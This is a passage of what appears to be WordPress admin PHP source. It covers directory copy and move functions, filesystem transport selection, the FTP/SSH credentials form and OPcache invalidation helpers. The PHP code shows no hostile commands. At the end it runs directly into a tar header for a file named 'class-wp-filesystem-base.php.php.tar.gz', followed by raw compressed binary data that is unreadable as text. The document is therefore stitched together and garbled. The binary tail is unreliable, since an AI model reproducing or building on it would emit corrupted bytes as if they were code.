	$result = apply_filters( 'unzip_file', true, $file, $to, $needed_dirs, $required_space );

	unset( $needed_dirs );

	return $result;
}

/**
 * Copies a directory from one location to another via the WordPress Filesystem
 * Abstraction.
 *
 * Assumes that WP_Filesystem() has already been called and setup.
 *
 * @since 2.5.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string   $from      Source directory.
 * @param string   $to        Destination directory.
 * @param string[] $skip_list An array of files/folders to skip copying.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function copy_dir( $from, $to, $skip_list = array() ) {
	global $wp_filesystem;

	$dirlist = $wp_filesystem->dirlist( $from );

	if ( false === $dirlist ) {
		return new WP_Error( 'dirlist_failed_copy_dir', __( 'Directory listing failed.' ), basename( $from ) );
	}

	$from = trailingslashit( $from );
	$to   = trailingslashit( $to );

	if ( ! $wp_filesystem->exists( $to ) && ! $wp_filesystem->mkdir( $to ) ) {
		return new WP_Error(
			'mkdir_destination_failed_copy_dir',
			__( 'Could not create the destination directory.' ),
			basename( $to )
		);
	}

	foreach ( (array) $dirlist as $filename => $fileinfo ) {
		if ( in_array( $filename, $skip_list, true ) ) {
			continue;
		}

		if ( 'f' === $fileinfo['type'] ) {
			if ( ! $wp_filesystem->copy( $from . $filename, $to . $filename, true, FS_CHMOD_FILE ) ) {
				// If copy failed, chmod file to 0644 and try again.
				$wp_filesystem->chmod( $to . $filename, FS_CHMOD_FILE );

				if ( ! $wp_filesystem->copy( $from . $filename, $to . $filename, true, FS_CHMOD_FILE ) ) {
					return new WP_Error( 'copy_failed_copy_dir', __( 'Could not copy file.' ), $to . $filename );
				}
			}

			wp_opcache_invalidate( $to . $filename );
		} elseif ( 'd' === $fileinfo['type'] ) {
			if ( ! $wp_filesystem->is_dir( $to . $filename ) ) {
				if ( ! $wp_filesystem->mkdir( $to . $filename, FS_CHMOD_DIR ) ) {
					return new WP_Error( 'mkdir_failed_copy_dir', __( 'Could not create directory.' ), $to . $filename );
				}
			}

			// Generate the $sub_skip_list for the subdirectory as a sub-set of the existing $skip_list.
			$sub_skip_list = array();

			foreach ( $skip_list as $skip_item ) {
				if ( str_starts_with( $skip_item, $filename . '/' ) ) {
					$sub_skip_list[] = preg_replace( '!^' . preg_quote( $filename, '!' ) . '/!i', '', $skip_item );
				}
			}

			$result = copy_dir( $from . $filename, $to . $filename, $sub_skip_list );

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}
	}

	return true;
}

/**
 * Moves a directory from one location to another.
 *
 * Recursively invalidates OPcache on success.
 *
 * If the renaming failed, falls back to copy_dir().
 *
 * Assumes that WP_Filesystem() has already been called and setup.
 *
 * This function is not designed to merge directories, copy_dir() should be used instead.
 *
 * @since 6.2.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string $from      Source directory.
 * @param string $to        Destination directory.
 * @param bool   $overwrite Optional. Whether to overwrite the destination directory if it exists.
 *                          Default false.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function move_dir( $from, $to, $overwrite = false ) {
	global $wp_filesystem;

	if ( trailingslashit( strtolower( $from ) ) === trailingslashit( strtolower( $to ) ) ) {
		return new WP_Error( 'source_destination_same_move_dir', __( 'The source and destination are the same.' ) );
	}

	if ( $wp_filesystem->exists( $to ) ) {
		if ( ! $overwrite ) {
			return new WP_Error( 'destination_already_exists_move_dir', __( 'The destination folder already exists.' ), $to );
		} elseif ( ! $wp_filesystem->delete( $to, true ) ) {
			// Can't overwrite if the destination couldn't be deleted.
			return new WP_Error( 'destination_not_deleted_move_dir', __( 'The destination directory already exists and could not be removed.' ) );
		}
	}

	if ( $wp_filesystem->move( $from, $to ) ) {
		/*
		 * When using an environment with shared folders,
		 * there is a delay in updating the filesystem's cache.
		 *
		 * This is a known issue in environments with a VirtualBox provider.
		 *
		 * A 200ms delay gives time for the filesystem to update its cache,
		 * prevents "Operation not permitted", and "No such file or directory" warnings.
		 *
		 * This delay is used in other projects, including Composer.
		 * @link https://github.com/composer/composer/blob/2.5.1/src/Composer/Util/Platform.php#L228-L233
		 */
		usleep( 200000 );
		wp_opcache_invalidate_directory( $to );

		return true;
	}

	// Fall back to a recursive copy.
	if ( ! $wp_filesystem->is_dir( $to ) ) {
		if ( ! $wp_filesystem->mkdir( $to, FS_CHMOD_DIR ) ) {
			return new WP_Error( 'mkdir_failed_move_dir', __( 'Could not create directory.' ), $to );
		}
	}

	$result = copy_dir( $from, $to, array( basename( $to ) ) );

	// Clear the source directory.
	if ( true === $result ) {
		$wp_filesystem->delete( $from, true );
	}

	return $result;
}

/**
 * Initializes and connects the WordPress Filesystem Abstraction classes.
 *
 * This function will include the chosen transport and attempt connecting.
 *
 * Plugins may add extra transports, And force WordPress to use them by returning
 * the filename via the {@see 'filesystem_method_file'} filter.
 *
 * @since 2.5.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param array|false  $args                         Optional. Connection args, These are passed
 *                                                   directly to the `WP_Filesystem_*()` classes.
 *                                                   Default false.
 * @param string|false $context                      Optional. Context for get_filesystem_method().
 *                                                   Default false.
 * @param bool         $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
 *                                                   Default false.
 * @return bool|null True on success, false on failure,
 *                   null if the filesystem method class file does not exist.
 */
function WP_Filesystem( $args = false, $context = false, $allow_relaxed_file_ownership = false ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	global $wp_filesystem;

	require_once ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php';

	$method = get_filesystem_method( $args, $context, $allow_relaxed_file_ownership );

	if ( ! $method ) {
		return false;
	}

	if ( ! class_exists( "WP_Filesystem_$method" ) ) {

		/**
		 * Filters the path for a specific filesystem method class file.
		 *
		 * @since 2.6.0
		 *
		 * @see get_filesystem_method()
		 *
		 * @param string $path   Path to the specific filesystem method class file.
		 * @param string $method The filesystem method to use.
		 */
		$abstraction_file = apply_filters( 'filesystem_method_file', ABSPATH . 'wp-admin/includes/class-wp-filesystem-' . $method . '.php', $method );

		if ( ! file_exists( $abstraction_file ) ) {
			return;
		}

		require_once $abstraction_file;
	}
	$method = "WP_Filesystem_$method";

	$wp_filesystem = new $method( $args );

	/*
	 * Define the timeouts for the connections. Only available after the constructor is called
	 * to allow for per-transport overriding of the default.
	 */
	if ( ! defined( 'FS_CONNECT_TIMEOUT' ) ) {
		define( 'FS_CONNECT_TIMEOUT', 30 ); // 30 seconds.
	}
	if ( ! defined( 'FS_TIMEOUT' ) ) {
		define( 'FS_TIMEOUT', 30 ); // 30 seconds.
	}

	if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
		return false;
	}

	if ( ! $wp_filesystem->connect() ) {
		return false; // There was an error connecting to the server.
	}

	// Set the permission constants if not already set.
	if ( ! defined( 'FS_CHMOD_DIR' ) ) {
		define( 'FS_CHMOD_DIR', ( fileperms( ABSPATH ) & 0777 | 0755 ) );
	}
	if ( ! defined( 'FS_CHMOD_FILE' ) ) {
		define( 'FS_CHMOD_FILE', ( fileperms( ABSPATH . 'index.php' ) & 0777 | 0644 ) );
	}

	return true;
}

/**
 * Determines which method to use for reading, writing, modifying, or deleting
 * files on the filesystem.
 *
 * The priority of the transports are: Direct, SSH2, FTP PHP Extension, FTP Sockets
 * (Via Sockets class, or `fsockopen()`). Valid values for these are: 'direct', 'ssh2',
 * 'ftpext' or 'ftpsockets'.
 *
 * The return value can be overridden by defining the `FS_METHOD` constant in `wp-config.php`,
 * or filtering via {@see 'filesystem_method'}.
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/#wordpress-upgrade-constants
 *
 * Plugins may define a custom transport handler, See WP_Filesystem().
 *
 * @since 2.5.0
 *
 * @global callable $_wp_filesystem_direct_method
 *
 * @param array  $args                         Optional. Connection details. Default empty array.
 * @param string $context                      Optional. Full path to the directory that is tested
 *                                             for being writable. Default empty.
 * @param bool   $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
 *                                             Default false.
 * @return string The transport to use, see description for valid return values.
 */
function get_filesystem_method( $args = array(), $context = '', $allow_relaxed_file_ownership = false ) {
	// Please ensure that this is either 'direct', 'ssh2', 'ftpext', or 'ftpsockets'.
	$method = defined( 'FS_METHOD' ) ? FS_METHOD : false;

	if ( ! $context ) {
		$context = WP_CONTENT_DIR;
	}

	// If the directory doesn't exist (wp-content/languages) then use the parent directory as we'll create it.
	if ( WP_LANG_DIR === $context && ! is_dir( $context ) ) {
		$context = dirname( $context );
	}

	$context = trailingslashit( $context );

	if ( ! $method ) {

		$temp_file_name = $context . 'temp-write-test-' . str_replace( '.', '-', uniqid( '', true ) );
		$temp_handle    = @fopen( $temp_file_name, 'w' );
		if ( $temp_handle ) {

			// Attempt to determine the file owner of the WordPress files, and that of newly created files.
			$wp_file_owner   = false;
			$temp_file_owner = false;
			if ( function_exists( 'fileowner' ) ) {
				$wp_file_owner   = @fileowner( __FILE__ );
				$temp_file_owner = @fileowner( $temp_file_name );
			}

			if ( false !== $wp_file_owner && $wp_file_owner === $temp_file_owner ) {
				/*
				 * WordPress is creating files as the same owner as the WordPress files,
				 * this means it's safe to modify & create new files via PHP.
				 */
				$method                                  = 'direct';
				$GLOBALS['_wp_filesystem_direct_method'] = 'file_owner';
			} elseif ( $allow_relaxed_file_ownership ) {
				/*
				 * The $context directory is writable, and $allow_relaxed_file_ownership is set,
				 * this means we can modify files safely in this directory.
				 * This mode doesn't create new files, only alter existing ones.
				 */
				$method                                  = 'direct';
				$GLOBALS['_wp_filesystem_direct_method'] = 'relaxed_ownership';
			}

			fclose( $temp_handle );
			@unlink( $temp_file_name );
		}
	}

	if ( ! $method && isset( $args['connection_type'] ) && 'ssh' === $args['connection_type'] && extension_loaded( 'ssh2' ) ) {
		$method = 'ssh2';
	}
	if ( ! $method && extension_loaded( 'ftp' ) ) {
		$method = 'ftpext';
	}
	if ( ! $method && ( extension_loaded( 'sockets' ) || function_exists( 'fsockopen' ) ) ) {
		$method = 'ftpsockets'; // Sockets: Socket extension; PHP Mode: FSockopen / fwrite / fread.
	}

	/**
	 * Filters the filesystem method to use.
	 *
	 * @since 2.6.0
	 *
	 * @param string $method                       Filesystem method to return.
	 * @param array  $args                         An array of connection details for the method.
	 * @param string $context                      Full path to the directory that is tested for being writable.
	 * @param bool   $allow_relaxed_file_ownership Whether to allow Group/World writable.
	 */
	return apply_filters( 'filesystem_method', $method, $args, $context, $allow_relaxed_file_ownership );
}

/**
 * Displays a form to the user to request for their FTP/SSH details in order
 * to connect to the filesystem.
 *
 * All chosen/entered details are saved, excluding the password.
 *
 * Hostnames may be in the form of hostname:portnumber (eg: wordpress.org:2467)
 * to specify an alternate FTP/SSH port.
 *
 * Plugins may override this form by returning true|false via the {@see 'request_filesystem_credentials'} filter.
 *
 * @since 2.5.0
 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
 *
 * @global string $pagenow The filename of the current screen.
 *
 * @param string        $form_post                    The URL to post the form to.
 * @param string        $type                         Optional. Chosen type of filesystem. Default empty.
 * @param bool|WP_Error $error                        Optional. Whether the current request has failed
 *                                                    to connect, or an error object. Default false.
 * @param string        $context                      Optional. Full path to the directory that is tested
 *                                                    for being writable. Default empty.
 * @param array         $extra_fields                 Optional. Extra `POST` fields to be checked
 *                                                    for inclusion in the post. Default null.
 * @param bool          $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
 *                                                    Default false.
 * @return bool|array True if no filesystem credentials are required,
 *                    false if they are required but have not been provided,
 *                    array of credentials if they are required and have been provided.
 */
function request_filesystem_credentials( $form_post, $type = '', $error = false, $context = '', $extra_fields = null, $allow_relaxed_file_ownership = false ) {
	global $pagenow;

	/**
	 * Filters the filesystem credentials.
	 *
	 * Returning anything other than an empty string will effectively short-circuit
	 * output of the filesystem credentials form, returning that value instead.
	 *
	 * A filter should return true if no filesystem credentials are required, false if they are required but have not been
	 * provided, or an array of credentials if they are required and have been provided.
	 *
	 * @since 2.5.0
	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
	 *
	 * @param mixed         $credentials                  Credentials to return instead. Default empty string.
	 * @param string        $form_post                    The URL to post the form to.
	 * @param string        $type                         Chosen type of filesystem.
	 * @param bool|WP_Error $error                        Whether the current request has failed to connect,
	 *                                                    or an error object.
	 * @param string        $context                      Full path to the directory that is tested for
	 *                                                    being writable.
	 * @param array         $extra_fields                 Extra POST fields.
	 * @param bool          $allow_relaxed_file_ownership Whether to allow Group/World writable.
	 */
	$req_cred = apply_filters( 'request_filesystem_credentials', '', $form_post, $type, $error, $context, $extra_fields, $allow_relaxed_file_ownership );

	if ( '' !== $req_cred ) {
		return $req_cred;
	}

	if ( empty( $type ) ) {
		$type = get_filesystem_method( array(), $context, $allow_relaxed_file_ownership );
	}

	if ( 'direct' === $type ) {
		return true;
	}

	if ( is_null( $extra_fields ) ) {
		$extra_fields = array( 'version', 'locale' );
	}

	$credentials = get_option(
		'ftp_credentials',
		array(
			'hostname' => '',
			'username' => '',
		)
	);

	$submitted_form = wp_unslash( $_POST );

	// Verify nonce, or unset submitted form field values on failure.
	if ( ! isset( $_POST['_fs_nonce'] ) || ! wp_verify_nonce( $_POST['_fs_nonce'], 'filesystem-credentials' ) ) {
		unset(
			$submitted_form['hostname'],
			$submitted_form['username'],
			$submitted_form['password'],
			$submitted_form['public_key'],
			$submitted_form['private_key'],
			$submitted_form['connection_type']
		);
	}

	$ftp_constants = array(
		'hostname'    => 'FTP_HOST',
		'username'    => 'FTP_USER',
		'password'    => 'FTP_PASS',
		'public_key'  => 'FTP_PUBKEY',
		'private_key' => 'FTP_PRIKEY',
	);

	/*
	 * If defined, set it to that. Else, if POST'd, set it to that. If not, set it to an empty string.
	 * Otherwise, keep it as it previously was (saved details in option).
	 */
	foreach ( $ftp_constants as $key => $constant ) {
		if ( defined( $constant ) ) {
			$credentials[ $key ] = constant( $constant );
		} elseif ( ! empty( $submitted_form[ $key ] ) ) {
			$credentials[ $key ] = $submitted_form[ $key ];
		} elseif ( ! isset( $credentials[ $key ] ) ) {
			$credentials[ $key ] = '';
		}
	}

	// Sanitize the hostname, some people might pass in odd data.
	$credentials['hostname'] = preg_replace( '|\w+://|', '', $credentials['hostname'] ); // Strip any schemes off.

	if ( strpos( $credentials['hostname'], ':' ) ) {
		list( $credentials['hostname'], $credentials['port'] ) = explode( ':', $credentials['hostname'], 2 );
		if ( ! is_numeric( $credentials['port'] ) ) {
			unset( $credentials['port'] );
		}
	} else {
		unset( $credentials['port'] );
	}

	if ( ( defined( 'FTP_SSH' ) && FTP_SSH ) || ( defined( 'FS_METHOD' ) && 'ssh2' === FS_METHOD ) ) {
		$credentials['connection_type'] = 'ssh';
	} elseif ( ( defined( 'FTP_SSL' ) && FTP_SSL ) && 'ftpext' === $type ) { // Only the FTP Extension understands SSL.
		$credentials['connection_type'] = 'ftps';
	} elseif ( ! empty( $submitted_form['connection_type'] ) ) {
		$credentials['connection_type'] = $submitted_form['connection_type'];
	} elseif ( ! isset( $credentials['connection_type'] ) ) { // All else fails (and it's not defaulted to something else saved), default to FTP.
		$credentials['connection_type'] = 'ftp';
	}

	if ( ! $error
		&& ( ! empty( $credentials['hostname'] ) && ! empty( $credentials['username'] ) && ! empty( $credentials['password'] )
			|| 'ssh' === $credentials['connection_type'] && ! empty( $credentials['public_key'] ) && ! empty( $credentials['private_key'] )
		)
	) {
		$stored_credentials = $credentials;

		if ( ! empty( $stored_credentials['port'] ) ) { // Save port as part of hostname to simplify above code.
			$stored_credentials['hostname'] .= ':' . $stored_credentials['port'];
		}

		unset(
			$stored_credentials['password'],
			$stored_credentials['port'],
			$stored_credentials['private_key'],
			$stored_credentials['public_key']
		);

		if ( ! wp_installing() ) {
			update_option( 'ftp_credentials', $stored_credentials );
		}

		return $credentials;
	}

	$hostname        = isset( $credentials['hostname'] ) ? $credentials['hostname'] : '';
	$username        = isset( $credentials['username'] ) ? $credentials['username'] : '';
	$public_key      = isset( $credentials['public_key'] ) ? $credentials['public_key'] : '';
	$private_key     = isset( $credentials['private_key'] ) ? $credentials['private_key'] : '';
	$port            = isset( $credentials['port'] ) ? $credentials['port'] : '';
	$connection_type = isset( $credentials['connection_type'] ) ? $credentials['connection_type'] : '';

	if ( $error ) {
		$error_string = __( '<strong>Error:</strong> Could not connect to the server. Please verify the settings are correct.' );
		if ( is_wp_error( $error ) ) {
			$error_string = esc_html( $error->get_error_message() );
		}
		wp_admin_notice(
			$error_string,
			array(
				'id'                 => 'message',
				'additional_classes' => array( 'error' ),
			)
		);
	}

	$types = array();
	if ( extension_loaded( 'ftp' ) || extension_loaded( 'sockets' ) || function_exists( 'fsockopen' ) ) {
		$types['ftp'] = __( 'FTP' );
	}
	if ( extension_loaded( 'ftp' ) ) { // Only this supports FTPS.
		$types['ftps'] = __( 'FTPS (SSL)' );
	}
	if ( extension_loaded( 'ssh2' ) ) {
		$types['ssh'] = __( 'SSH2' );
	}

	/**
	 * Filters the connection types to output to the filesystem credentials form.
	 *
	 * @since 2.9.0
	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
	 *
	 * @param string[]      $types       Types of connections.
	 * @param array         $credentials Credentials to connect with.
	 * @param string        $type        Chosen filesystem method.
	 * @param bool|WP_Error $error       Whether the current request has failed to connect,
	 *                                   or an error object.
	 * @param string        $context     Full path to the directory that is tested for being writable.
	 */
	$types = apply_filters( 'fs_ftp_connection_types', $types, $credentials, $type, $error, $context );
	?>
<form action="<?php echo esc_url( $form_post ); ?>" method="post">
<div id="request-filesystem-credentials-form" class="request-filesystem-credentials-form">
	<?php
	// Print a H1 heading in the FTP credentials modal dialog, default is a H2.
	$heading_tag = 'h2';
	if ( 'plugins.php' === $pagenow || 'plugin-install.php' === $pagenow ) {
		$heading_tag = 'h1';
	}
	echo "<$heading_tag id='request-filesystem-credentials-title'>" . __( 'Connection Information' ) . "</$heading_tag>";
	?>
<p id="request-filesystem-credentials-desc">
	<?php
	$label_user = __( 'Username' );
	$label_pass = __( 'Password' );
	_e( 'To perform the requested action, WordPress needs to access your web server.' );
	echo ' ';
	if ( ( isset( $types['ftp'] ) || isset( $types['ftps'] ) ) ) {
		if ( isset( $types['ssh'] ) ) {
			_e( 'Please enter your FTP or SSH credentials to proceed.' );
			$label_user = __( 'FTP/SSH Username' );
			$label_pass = __( 'FTP/SSH Password' );
		} else {
			_e( 'Please enter your FTP credentials to proceed.' );
			$label_user = __( 'FTP Username' );
			$label_pass = __( 'FTP Password' );
		}
		echo ' ';
	}
	_e( 'If you do not remember your credentials, you should contact your web host.' );

	$hostname_value = esc_attr( $hostname );
	if ( ! empty( $port ) ) {
		$hostname_value .= ":$port";
	}

	$password_value = '';
	if ( defined( 'FTP_PASS' ) ) {
		$password_value = '*****';
	}
	?>
</p>
<label for="hostname">
	<span class="field-title"><?php _e( 'Hostname' ); ?></span>
	<input name="hostname" type="text" id="hostname" aria-describedby="request-filesystem-credentials-desc" class="code" placeholder="<?php esc_attr_e( 'example: www.wordpress.org' ); ?>" value="<?php echo $hostname_value; ?>"<?php disabled( defined( 'FTP_HOST' ) ); ?> />
</label>
<div class="ftp-username">
	<label for="username">
		<span class="field-title"><?php echo $label_user; ?></span>
		<input name="username" type="text" id="username" value="<?php echo esc_attr( $username ); ?>"<?php disabled( defined( 'FTP_USER' ) ); ?> />
	</label>
</div>
<div class="ftp-password">
	<label for="password">
		<span class="field-title"><?php echo $label_pass; ?></span>
		<input name="password" type="password" id="password" value="<?php echo $password_value; ?>"<?php disabled( defined( 'FTP_PASS' ) ); ?> spellcheck="false" />
		<?php
		if ( ! defined( 'FTP_PASS' ) ) {
			_e( 'This password will not be stored on the server.' );
		}
		?>
	</label>
</div>
<fieldset>
<legend><?php _e( 'Connection Type' ); ?></legend>
	<?php
	$disabled = disabled( ( defined( 'FTP_SSL' ) && FTP_SSL ) || ( defined( 'FTP_SSH' ) && FTP_SSH ), true, false );
	foreach ( $types as $name => $text ) :
		?>
	<label for="<?php echo esc_attr( $name ); ?>">
		<input type="radio" name="connection_type" id="<?php echo esc_attr( $name ); ?>" value="<?php echo esc_attr( $name ); ?>" <?php checked( $name, $connection_type ); ?> <?php echo $disabled; ?> />
		<?php echo $text; ?>
	</label>
		<?php
	endforeach;
	?>
</fieldset>
	<?php
	if ( isset( $types['ssh'] ) ) {
		$hidden_class = '';
		if ( 'ssh' !== $connection_type || empty( $connection_type ) ) {
			$hidden_class = ' class="hidden"';
		}
		?>
<fieldset id="ssh-keys"<?php echo $hidden_class; ?>>
<legend><?php _e( 'Authentication Keys' ); ?></legend>
<label for="public_key">
	<span class="field-title"><?php _e( 'Public Key:' ); ?></span>
	<input name="public_key" type="text" id="public_key" aria-describedby="auth-keys-desc" value="<?php echo esc_attr( $public_key ); ?>"<?php disabled( defined( 'FTP_PUBKEY' ) ); ?> />
</label>
<label for="private_key">
	<span class="field-title"><?php _e( 'Private Key:' ); ?></span>
	<input name="private_key" type="text" id="private_key" value="<?php echo esc_attr( $private_key ); ?>"<?php disabled( defined( 'FTP_PRIKEY' ) ); ?> />
</label>
<p id="auth-keys-desc"><?php _e( 'Enter the location on the server where the public and private keys are located. If a passphrase is needed, enter that in the password field above.' ); ?></p>
</fieldset>
		<?php
	}

	foreach ( (array) $extra_fields as $field ) {
		if ( isset( $submitted_form[ $field ] ) ) {
			echo '<input type="hidden" name="' . esc_attr( $field ) . '" value="' . esc_attr( $submitted_form[ $field ] ) . '" />';
		}
	}

	/*
	 * Make sure the `submit_button()` function is available during the REST API call
	 * from WP_Site_Health_Auto_Updates::test_check_wp_filesystem_method().
	 */
	if ( ! function_exists( 'submit_button' ) ) {
		require_once ABSPATH . 'wp-admin/includes/template.php';
	}
	?>
	<p class="request-filesystem-credentials-action-buttons">
		<?php wp_nonce_field( 'filesystem-credentials', '_fs_nonce', false, true ); ?>
		<button class="button cancel-button" data-js-action="close" type="button"><?php _e( 'Cancel' ); ?></button>
		<?php submit_button( __( 'Proceed' ), '', 'upgrade', false ); ?>
	</p>
</div>
</form>
	<?php
	return false;
}

/**
 * Prints the filesystem credentials modal when needed.
 *
 * @since 4.2.0
 */
function wp_print_request_filesystem_credentials_modal() {
	$filesystem_method = get_filesystem_method();

	ob_start();
	$filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() );
	ob_end_clean();

	$request_filesystem_credentials = ( 'direct' !== $filesystem_method && ! $filesystem_credentials_are_stored );
	if ( ! $request_filesystem_credentials ) {
		return;
	}
	?>
	<div id="request-filesystem-credentials-dialog" class="notification-dialog-wrap request-filesystem-credentials-dialog">
		<div class="notification-dialog-background"></div>
		<div class="notification-dialog" role="dialog" aria-labelledby="request-filesystem-credentials-title" tabindex="0">
			<div class="request-filesystem-credentials-dialog-content">
				<?php request_filesystem_credentials( site_url() ); ?>
			</div>
		</div>
	</div>
	<?php
}

/**
 * Attempts to clear the opcode cache for an individual PHP file.
 *
 * This function can be called safely without having to check the file extension
 * or availability of the OPcache extension.
 *
 * Whether or not invalidation is possible is cached to improve performance.
 *
 * @since 5.5.0
 *
 * @link https://www.php.net/manual/en/function.opcache-invalidate.php
 *
 * @param string $filepath Path to the file, including extension, for which the opcode cache is to be cleared.
 * @param bool   $force    Invalidate even if the modification time is not newer than the file in cache.
 *                         Default false.
 * @return bool True if opcache was invalidated for `$filepath`, or there was nothing to invalidate.
 *              False if opcache invalidation is not available, or is disabled via filter.
 */
function wp_opcache_invalidate( $filepath, $force = false ) {
	static $can_invalidate = null;

	/*
	 * Check to see if WordPress is able to run `opcache_invalidate()` or not, and cache the value.
	 *
	 * First, check to see if the function is available to call, then if the host has restricted
	 * the ability to run the function to avoid a PHP warning.
	 *
	 * `opcache.restrict_api` can specify the path for files allowed to call `opcache_invalidate()`.
	 *
	 * If the host has this set, check whether the path in `opcache.restrict_api` matches
	 * the beginning of the path of the origin file.
	 *
	 * `$_SERVER['SCRIPT_FILENAME']` approximates the origin file's path, but `realpath()`
	 * is necessary because `SCRIPT_FILENAME` can be a relative path when run from CLI.
	 *
	 * For more details, see:
	 * - https://www.php.net/manual/en/opcache.configuration.php
	 * - https://www.php.net/manual/en/reserved.variables.server.php
	 * - https://core.trac.wordpress.org/ticket/36455
	 */
	if ( null === $can_invalidate
		&& function_exists( 'opcache_invalidate' )
		&& ( ! ini_get( 'opcache.restrict_api' )
			|| stripos( realpath( $_SERVER['SCRIPT_FILENAME'] ), ini_get( 'opcache.restrict_api' ) ) === 0 )
	) {
		$can_invalidate = true;
	}

	// If invalidation is not available, return early.
	if ( ! $can_invalidate ) {
		return false;
	}

	// Verify that file to be invalidated has a PHP extension.
	if ( '.php' !== strtolower( substr( $filepath, -4 ) ) ) {
		return false;
	}

	/**
	 * Filters whether to invalidate a file from the opcode cache.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $will_invalidate Whether WordPress will invalidate `$filepath`. Default true.
	 * @param string $filepath        The path to the PHP file to invalidate.
	 */
	if ( apply_filters( 'wp_opcache_invalidate_file', true, $filepath ) ) {
		return opcache_invalidate( $filepath, $force );
	}

	return false;
}

/**
 * Attempts to clear the opcode cache for a directory of files.
 *
 * @since 6.2.0
 *
 * @see wp_opcache_invalidate()
 * @link https://www.php.net/manual/en/function.opcache-invalidate.php
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string $dir The path to the directory for which the opcode cache is to be cleared.
 */
function wp_opcache_invalidate_directory( $dir ) {
	global $wp_filesystem;

	if ( ! is_string( $dir ) || '' === trim( $dir ) ) {
		if ( WP_DEBUG ) {
			$error_message = sprintf(
				/* translators: %s: The function name. */
				__( '%s expects a non-empty string.' ),
				'<code>wp_opcache_invalidate_directory()</code>'
			);
			trigger_error( $error_message );
		}
		return;
	}

	$dirlist = $wp_filesystem->dirlist( $dir, false, true );

	if ( empty( $dirlist ) ) {
		return;
	}

	/*
	 * Recursively invalidate opcache of files in a directory.
	 *
	 * WP_Filesystem_*::dirlist() returns an array of file and directory information.
	 *
	 * This does not include a path to the file or directory.
	 * To invalidate files within sub-directories, recursion is needed
	 * to prepend an absolute path containing the sub-directory's name.
	 *
	 * @param array  $dirlist Array of file/directory information from WP_Filesystem_Base::dirlist(),
	 *                        with sub-directories represented as nested arrays.
	 * @param string $path    Absolute path to the directory.
	 */
	$invalidate_directory = static function ( $dirlist, $path ) use ( &$invalidate_directory ) {
		$path = trailingslashit( $path );

		foreach ( $dirlist as $name => $details ) {
			if ( 'f' === $details['type'] ) {
				wp_opcache_invalidate( $path . $name, true );
			} elseif ( is_array( $details['files'] ) && ! empty( $details['files'] ) ) {
				$invalidate_directory( $details['files'], $path . $name );
			}
		}
	};

	$invalidate_directory( $dirlist, $dir );
}
class-wp-filesystem-base.php.php.tar.gz000064400000012656150275632050014111 0ustar00��<kW�ƶ�+��9)���؆��CJϡzX7%�@V>$�;��XY��H��߽��H����޻���-����׌<&���؍}�w���1�2�����4������?�G��Ѓ�p�zB��XL6\�N8�V}��z��Sy��{����߶���wwv���<���Ovv��^
�{� 8�%��Z����ֻ�����'�#{D��dǩ��!>�WȇW��Cwe20rS��wf�Nl:v�c��;	=1~�����X�N��!A��<��h�o�x^0=�����EA(���㺂��6���!vk��X�c�8`�+C��2G�K��QOƂ
�Cħ��hf�q�#6�u���d�C�q-�A����xa�~ȇc�0ϕ1F���ch]!�����0�����U��k�������b�=k�l<.�p��?�!“(QXh�s3���z�w�DƑ�_����F�Ƅ&��^FQ��'a��x�5��Ji*�|#�$��Hr�>}���u�?�������V7#��I$>�	�B
��%>�����������(�P�}��]��������4x1�H��3�y�H;�8c�+Y���1=����y^G�?���;�w��S(>A�� �6�ׂIJ�YH7v��l�A��GBAJ��k��3C�w��\�w\���m�H�����x��|Fb5��C��yYႂ�>�xyz�?:y�Ed<
�`D��b�[j(��sE�J䞽z���闤6�KP����0\�X|XO@���VUy��!��D��Ii5`	0�kr(��'�=�‚c~ダ��
,�ܪl�u$F<�beG��e?��mLӢ�62u���
O.E��n�S���btHd$�^0x���I�z��Vn���}f/��87��z��}��t�9%�P�S�%V4�W�?Wϓ�C��˹-� W���
v��'��rVwD��1��հ�RV���E� �t=�Da���:/�g+��;G�\ӝ�-K�{p&�j��6�bB��{- ��(��<�q�(
&��U4:��
�M�&��(����'�����?��H�6v�y�o��am��L�N����oO/N^���m� ���A����)C��ds)�3&�l����VmiR&��c(`�;pK�T25�s`}"����Q�
M�D���s�C��;���%�ŢȀ��*��N��9�$
�T��ޡ&m-jt���H���i��1PB��+�P� J����q��-/��4Q#�H	��)T�@�Fq����Wյ
�6`��nP�����|��n����
�T�hj�v6�J$8"�[Z�*����5��\
�����(�8c權�8#�	im�_�^tY��5p�C���2��+n�}6�2� U�X29����v��lNKE�L�mL�m�F�q�J(=.�.���_XʀN��"��f&d2�U�.zĀLI�m�@`@�aEɦ.�8���o��G�{��P�H@p
(���{t�	�n�|0�o�:PC}����|_��P�V���(E�QS1<��Z���/�3����<`-�"�K�	p��T%vZbf���@iZ���cZ�a�ej\9ՂR9{��-Wf��wҤ�:�����o���ϭ�O(�F	
G,H��Q�F̍T���R�`^_7���k�A����T�?�^�e?�ūJ�s1C9m�,��H��T�T����狌j=-�m���Z�����7!�̲��8Y^�h�rQ��Tf�s��U��!����4sC�O")�;�r$�4������+%O��P �̮K���]�ĉ�|nCJ"&a|k���`�rk��R
���Z��N�U��m,Ԥ�z��c\Ї�q�=��gL5z�m�7�*�XA��}�A��Q�
�+uķ[X��o�7�
��~D��#�o�Z"�R0V�@܄^�f�����m�Nҗ�9�����`<�&u8jJ��
